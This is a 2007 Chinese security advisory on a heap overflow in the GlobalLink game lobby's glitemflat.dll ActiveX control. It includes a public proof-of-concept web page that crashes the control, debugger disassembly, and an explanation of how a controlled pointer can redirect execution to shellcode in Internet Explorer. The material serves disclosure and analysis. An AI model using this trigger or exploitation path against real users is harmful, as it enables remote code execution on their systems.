226e.Net,企业信息化人员的学习与交流平台! 欢迎您:[ ]
  您的位置: 首页 >> 文章首页 >> 技术中心 >> 信息安全 >>       

联众世界游戏大厅ActiveX控件堆溢出漏洞

作者:绿盟科技    来源:赛迪网    日期:2007-10-24 11:37:20   

【绿盟科技授权,赛迪发布,谢绝任何网站转载,违者,赛迪网将保留追究其法律责任的权利!】

发布日期:2007-09-07

更新日期:2007-09-11

受影响系统:

GlobalLink GlobalLink 2.7.0.8

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 25586

联众世界游戏大厅是联众世界自主开发的一款集棋牌、休闲、对战于一体的游戏客户端。

联众世界游戏大厅所安装的glitemflat.dll ActiveX控件中SetClientInfo()函数存在堆溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。

如果用户受骗使用IE访问了恶意网页的话,就可以触发这个溢出,导致在用户系统上执行任意指令。以下是已公开的PoC代码:

-----[Cut Below]------------------------------------------------------------------
<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
target.SetClientInfo(1, s, 1) 
</SCRIPT>
-----[Cut Above]-------------------------------------------------------------------

运行PoC后,用ollydbg捕获异常为读取[41414145]无效地址访问异常,有漏洞的代码如下:

033D9315  |> \8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D931B  |.  85C0          TEST EAX,EAX
033D931D  |.  74 34         JE SHORT 033D9353
033D931F    | .  FF70 04         PUSH DWORD PTR DS:[EAX +4]                   ;  /hWnd  <=== 异常处!
033D9322  |.  FF15 F8523F03 CALL DWORD PTR DS:[<&USER32.IsWindow>]   ; \IsWindow

此时的寄存器情况:

EAX 41414141
ECX 03442070
EDX 006900CD ASCII "ox"
EBX 03442070
ESP 02B9FB2C
EBP 02B9FB48
ESI 03441FD0
EDI 0344210C
EIP 033D931F glitemfl.033D931F

EAX为“AAAA”,因此可以控制EAX的值,但是到这里还无法控制指令流程走向,接下来:

033D9328  |.  85C0          TEST EAX,EAX    
033D932A  | .  74 0F          JE SHORT 033D933B    ; eax为0,跳到0x033D933B
033D932C  |.  8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D9332  |.  FF70 04       PUSH DWORD PTR DS:[EAX+4]                ; /hWnd
033D9335  |.  FF15 44533F03 CALL DWORD PTR DS:[<&USER32.DestroyWindo>; \DestroyWindow
033D933B  |>   8B8E DC000000 MOV ECX,DWORD PTR DS:[ESI+DC]  ; ecx就是我们前面控制的eax的值
033D9341  |.  85C9          TEST ECX,ECX
033D9343  | .  74 07           JE SHORT  033D934C   ; 如果ECX不等于0,不跳
033D9345  |.  8B01          MOV EAX,DWORD PTR DS:[ECX] 
033D9347  |.  6A 01         PUSH 1            
033D9349  | .  FF50 0C       CALL DWORD PTR DS:[EAX+C] ;  虚函数调用,可能控制
033D934C  |>  83A6 DC000000>AND DWORD PTR DS:[ESI+DC],0
033D9353  |>  8D86 40010000 LEA EAX,DWORD PTR DS:[ESI+140]

从上面的代码流程分析可以看出[ESI+DC]释放的是一个对象指针,而且可被用户控制。这个对象的结构大致为:

+00h vmt_ptr
+04h hWnd
+08h ...

要利用成功,必须使得放hWnd的地址可读,且读出的hWnd为无效的窗口句柄,就可控制流程到0x033D933B,然后使得vmt_ptr指向的地址偏移0x0C处的地址指向shellcode,而这些条件在IE中很容易得到满足。

<*来源:void (void@ph4nt0m.org)

链接:http://pstgroup.blogspot.com/2007/09/exploitgloballink-glitemflatdll.html

*>

建议:

--------------------------------------------------------------------------------

厂商补丁:

GlobalLink

----------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ourgame.com/

 

上一篇: Unreal Commander远程目录遍历及拒绝服务漏洞
下一篇: 网络安全基础连载之快速诊断高三层故障

返回栏目   论坛讨论
相关文章
版权与免责声明:
本站部分稿件来源于其他媒体,本站转载是为传播更多的信息,此类稿件仅代表作者个人或来源机构观点,并不代表本站观点,版权归作者或来源机构所有,如果您有任何版权方面问题,请联系我们,我们将马上进行整理。
站内搜索   

本类排行
本类推荐